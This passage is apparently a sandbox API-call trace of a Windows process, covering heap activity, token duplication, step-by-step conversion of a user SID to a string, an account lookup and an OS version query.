(HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0135.297] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0135.297] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0135.592] SetLastError (dwErrCode=0x0) [0135.592] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0135.592] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0135.592] SetLastError (dwErrCode=0x0) [0135.592] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0135.592] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0135.592] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0135.592] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0135.592] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0135.592] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0135.594] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0135.595] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0135.595] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0135.595] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0135.595] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0135.595] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0135.595] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0135.597] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0135.597] GetCurrentThread () returned 0xfffffffffffffffe [0135.597] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0135.598] malloc (_Size=0xd8) returned 0x2b35c0 [0135.598] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0135.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0135.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0135.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0135.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0135.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0135.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0135.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0135.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0135.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0135.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0135.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0135.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0135.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0135.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0135.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0135.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0135.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0135.601] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0135.601] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0135.601] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0135.601] malloc (_Size=0x18) returned 0x2aef80 [0135.601] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0135.601] malloc (_Size=0x48) returned 0x2ad3b0 [0135.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1fd1c780, dwHighDateTime=0x1d8a92a)) [0135.601] SetEvent (hEvent=0x1f0) returned 1 [0135.606] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0135.606] GetLastError () returned 0x7a [0135.606] malloc (_Size=0x2c) returned 0x2ae2a0 [0135.606] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0135.606] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0135.606] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0135.606] malloc (_Size=0x1c) returned 0x2affd0 [0135.606] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0135.606] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0135.606] malloc (_Size=0x18) returned 0x2aef80 [0135.606] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0135.606] malloc (_Size=0x18) returned 0x2af000 [0135.606] malloc (_Size=0x18) returned 0x2aefa0 [0135.606] SysStringLen (param_1="S-1-") returned 0x4 [0135.606] SysStringLen (param_1="5") returned 0x1 [0135.607] memcpy (in: _Dst=0x139898, _Src=0x139778, _Size=0xa | out: _Dst=0x139898) returned 0x139898 [0135.607] memcpy (in: _Dst=0x1398a0, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x1398a0) returned 0x1398a0 [0135.607] free (_Block=0x2aef80) [0135.607] free (_Block=0x2af000) [0135.607] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0135.607] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0135.607] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0135.607] malloc (_Size=0x18) returned 0x2af000 [0135.607] malloc (_Size=0x18) returned 0x2aef80 [0135.607] SysStringLen (param_1="S-1-5") returned 0x5 [0135.607] SysStringLen (param_1="-") returned 0x1 [0135.607] memcpy (in: _Dst=0x1397a8, _Src=0x139898, _Size=0xc | out: _Dst=0x1397a8) returned 0x1397a8 [0135.607] memcpy (in: _Dst=0x1397b2, _Src=0x139778, _Size=0x4 | out: _Dst=0x1397b2) returned 0x1397b2 [0135.607] free (_Block=0x2aefa0) [0135.607] free (_Block=0x2af000) [0135.607] malloc (_Size=0x18) returned 0x2af000 [0135.607] malloc (_Size=0x18) returned 0x2aefa0 [0135.607] SysStringLen (param_1="S-1-5-") returned 0x6 [0135.607] SysStringLen (param_1="21") returned 0x2 [0135.608] memcpy (in: _Dst=0x139778, _Src=0x1397a8, _Size=0xe | out: _Dst=0x139778) returned 0x139778 [0135.608] memcpy (in: _Dst=0x139784, _Src=0x139898, _Size=0x6 | out: _Dst=0x139784) returned 0x139784 [0135.608] free (_Block=0x2aef80) [0135.608] free (_Block=0x2af000) [0135.608] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0135.608] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0135.608] malloc (_Size=0x18) returned 0x2af000 [0135.608] malloc (_Size=0x18) returned 0x2aef80 [0135.608] SysStringLen (param_1="S-1-5-21") returned 0x8 [0135.608] SysStringLen (param_1="-") returned 0x1 [0135.608] memcpy (in: _Dst=0x139898, _Src=0x139778, _Size=0x12 | out: _Dst=0x139898) returned 0x139898 [0135.608] memcpy (in: _Dst=0x1398a8, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x1398a8) returned 0x1398a8 [0135.608] free (_Block=0x2aefa0) [0135.608] free (_Block=0x2af000) [0135.608] malloc (_Size=0x18) returned 0x2af000 [0135.608] malloc (_Size=0x18) returned 0x2aefa0 [0135.608] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0135.608] SysStringLen (param_1="4219442223") returned 0xa [0135.608] memcpy (in: _Dst=0x117a48, _Src=0x139898, _Size=0x14 | out: _Dst=0x117a48) returned 0x117a48 [0135.608] memcpy (in: _Dst=0x117a5a, _Src=0x139778, _Size=0x16 | out: _Dst=0x117a5a) returned 0x117a5a [0135.608] free (_Block=0x2aef80) [0135.609] free (_Block=0x2af000) [0135.609] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0135.609] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0135.609] malloc (_Size=0x18) returned 0x2af000 [0135.609] malloc (_Size=0x18) returned 0x2aef80 [0135.609] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0135.609] SysStringLen (param_1="-") returned 0x1 [0135.609] memcpy (in: _Dst=0x1179a8, _Src=0x117a48, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0135.609] memcpy (in: _Dst=0x1179ce, _Src=0x139898, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0135.609] free (_Block=0x2aefa0) [0135.609] free (_Block=0x2af000) [0135.609] malloc (_Size=0x18) returned 0x2af000 [0135.609] malloc (_Size=0x18) returned 0x2aefa0 [0135.609] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0135.609] SysStringLen (param_1="4223814209") returned 0xa [0135.609] memcpy (in: _Dst=0x107588, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0135.609] memcpy (in: _Dst=0x1075b0, _Src=0x139898, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0135.609] free (_Block=0x2aef80) [0135.609] free (_Block=0x2af000) [0135.609] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0135.610] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0135.610] malloc (_Size=0x18) returned 0x2af000 [0135.610] malloc (_Size=0x18) returned 0x2aef80 [0135.610] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0135.610] SysStringLen (param_1="-") returned 0x1 [0135.610] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0135.610] memcpy (in: _Dst=0x12d954, _Src=0x139898, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0135.610] free (_Block=0x2aefa0) [0135.610] free (_Block=0x2af000) [0135.610] malloc (_Size=0x18) returned 0x2af000 [0135.610] malloc (_Size=0x18) returned 0x2aefa0 [0135.610] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0135.610] SysStringLen (param_1="3835049652") returned 0xa [0135.610] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0135.610] memcpy (in: _Dst=0x1075c6, _Src=0x139898, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0135.610] free (_Block=0x2aef80) [0135.610] free (_Block=0x2af000) [0135.610] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0135.610] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0135.611] malloc (_Size=0x18) returned 0x2af000 [0135.611] malloc (_Size=0x18) returned 0x2aef80 [0135.611] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0135.611] SysStringLen (param_1="-") returned 0x1 [0135.611] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0135.611] memcpy (in: _Dst=0x12d96a, _Src=0x139898, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0135.611] free (_Block=0x2aefa0) [0135.611] free (_Block=0x2af000) [0135.611] malloc (_Size=0x18) returned 0x2af000 [0135.611] malloc (_Size=0x18) returned 0x2aefa0 [0135.611] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0135.611] SysStringLen (param_1="1000") returned 0x4 [0135.611] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0135.611] memcpy (in: _Dst=0x1075dc, _Src=0x139898, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0135.611] free (_Block=0x2aef80) [0135.611] free (_Block=0x2af000) [0135.611] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0135.611] malloc (_Size=0x5e) returned 0x2b08a0 [0135.611] free (_Block=0x2aefa0) [0135.611] malloc (_Size=0x18) returned 0x2aefa0 [0135.612] free (_Block=0x2b08a0) [0135.612] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0135.613] GetLastError () returned 0x7a [0135.613] malloc (_Size=0x14) returned 0x2af000 [0135.613] malloc (_Size=0x16) returned 0x2aef80 [0135.613] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca84, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0135.613] malloc (_Size=0x18) returned 0x2af0c0 [0135.613] malloc (_Size=0x18) returned 0x2aefc0 [0135.613] free (_Block=0x2af000) [0135.613] free (_Block=0x2aef80) [0135.614] free (_Block=0x2affd0) [0135.614] free (_Block=0x2aefc0) [0135.614] free (_Block=0x2af0c0) [0135.614] free (_Block=0x2aefa0) [0135.614] free (_Block=0x2ae2a0) [0135.614] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0135.614] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0135.614] GetLastError () returned 0x7a [0135.614] malloc (_Size=0x2c) returned 0x2ae2e0 [0135.614] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0135.614] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0135.614] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0135.614] malloc (_Size=0x1c) returned 0x2affd0 [0135.615] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0135.615] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0135.615] malloc (_Size=0x18) returned 0x2aefa0 [0135.615] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0135.615] malloc (_Size=0x18) returned 0x2af0c0 [0135.615] malloc (_Size=0x18) returned 0x2aefc0 [0135.615] SysStringLen (param_1="S-1-") returned 0x4 [0135.615] SysStringLen (param_1="5") returned 0x1 [0135.615] memcpy (in: _Dst=0x139778, _Src=0x1397a8, _Size=0xa | out: _Dst=0x139778) returned 0x139778 [0135.615] memcpy (in: _Dst=0x139780, _Src=0x139898, _Size=0x4 | out: _Dst=0x139780) returned 0x139780 [0135.615] free (_Block=0x2aefa0) [0135.615] free (_Block=0x2af0c0) [0135.615] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0135.615] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0135.615] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0135.615] malloc (_Size=0x18) returned 0x2af0c0 [0135.615] malloc (_Size=0x18) returned 0x2aefa0 [0135.615] SysStringLen (param_1="S-1-5") returned 0x5 [0135.615] SysStringLen (param_1="-") returned 0x1 [0135.615] memcpy (in: _Dst=0x139898, _Src=0x139778, _Size=0xc | out: _Dst=0x139898) returned 0x139898 [0135.615] memcpy (in: _Dst=0x1398a2, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x1398a2) returned 0x1398a2 [0135.616] free (_Block=0x2aefc0) [0135.616] free (_Block=0x2af0c0) [0135.616] malloc (_Size=0x18) returned 0x2af0c0 [0135.616] malloc (_Size=0x18) returned 0x2aefc0 [0135.616] SysStringLen (param_1="S-1-5-") returned 0x6 [0135.616] SysStringLen (param_1="21") returned 0x2 [0135.616] memcpy (in: _Dst=0x1397a8, _Src=0x139898, _Size=0xe | out: _Dst=0x1397a8) returned 0x1397a8 [0135.616] memcpy (in: _Dst=0x1397b4, _Src=0x139778, _Size=0x6 | out: _Dst=0x1397b4) returned 0x1397b4 [0135.616] free (_Block=0x2aefa0) [0135.616] free (_Block=0x2af0c0) [0135.616] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0135.616] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0135.616] malloc (_Size=0x18) returned 0x2af0c0 [0135.616] malloc (_Size=0x18) returned 0x2aefa0 [0135.616] SysStringLen (param_1="S-1-5-21") returned 0x8 [0135.616] SysStringLen (param_1="-") returned 0x1 [0135.616] memcpy (in: _Dst=0x139778, _Src=0x1397a8, _Size=0x12 | out: _Dst=0x139778) returned 0x139778 [0135.616] memcpy (in: _Dst=0x139788, _Src=0x139898, _Size=0x4 | out: _Dst=0x139788) returned 0x139788 [0135.616] free (_Block=0x2aefc0) [0135.616] free (_Block=0x2af0c0) [0135.616] malloc (_Size=0x18) returned 0x2af0c0 [0135.617] malloc (_Size=0x18) returned 0x2aefc0 [0135.617] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0135.617] SysStringLen (param_1="4219442223") returned 0xa [0135.617] memcpy (in: _Dst=0x117a48, _Src=0x139778, _Size=0x14 | out: _Dst=0x117a48) returned 0x117a48 [0135.617] memcpy (in: _Dst=0x117a5a, _Src=0x1397a8, _Size=0x16 | out: _Dst=0x117a5a) returned 0x117a5a [0135.617] free (_Block=0x2aefa0) [0135.617] free (_Block=0x2af0c0) [0135.617] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0135.617] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0135.617] malloc (_Size=0x18) returned 0x2af0c0 [0135.617] malloc (_Size=0x18) returned 0x2aefa0 [0135.617] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0135.617] SysStringLen (param_1="-") returned 0x1 [0135.617] memcpy (in: _Dst=0x1179a8, _Src=0x117a48, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0135.617] memcpy (in: _Dst=0x1179ce, _Src=0x139778, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0135.617] free (_Block=0x2aefc0) [0135.617] free (_Block=0x2af0c0) [0135.617] malloc (_Size=0x18) returned 0x2af0c0 [0135.617] malloc (_Size=0x18) returned 0x2aefc0 [0135.617] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0135.617] SysStringLen (param_1="4223814209") returned 0xa [0135.618] memcpy (in: _Dst=0x12d918, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0135.618] memcpy (in: _Dst=0x12d940, _Src=0x139778, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0135.618] free (_Block=0x2aefa0) [0135.618] free (_Block=0x2af0c0) [0135.618] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0135.618] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0135.618] malloc (_Size=0x18) returned 0x2af0c0 [0135.618] malloc (_Size=0x18) returned 0x2aefa0 [0135.618] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0135.618] SysStringLen (param_1="-") returned 0x1 [0135.618] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0135.618] memcpy (in: _Dst=0x1075c4, _Src=0x139778, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0135.618] free (_Block=0x2aefc0) [0135.618] free (_Block=0x2af0c0) [0135.618] malloc (_Size=0x18) returned 0x2af0c0 [0135.618] malloc (_Size=0x18) returned 0x2aefc0 [0135.618] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0135.618] SysStringLen (param_1="3835049652") returned 0xa 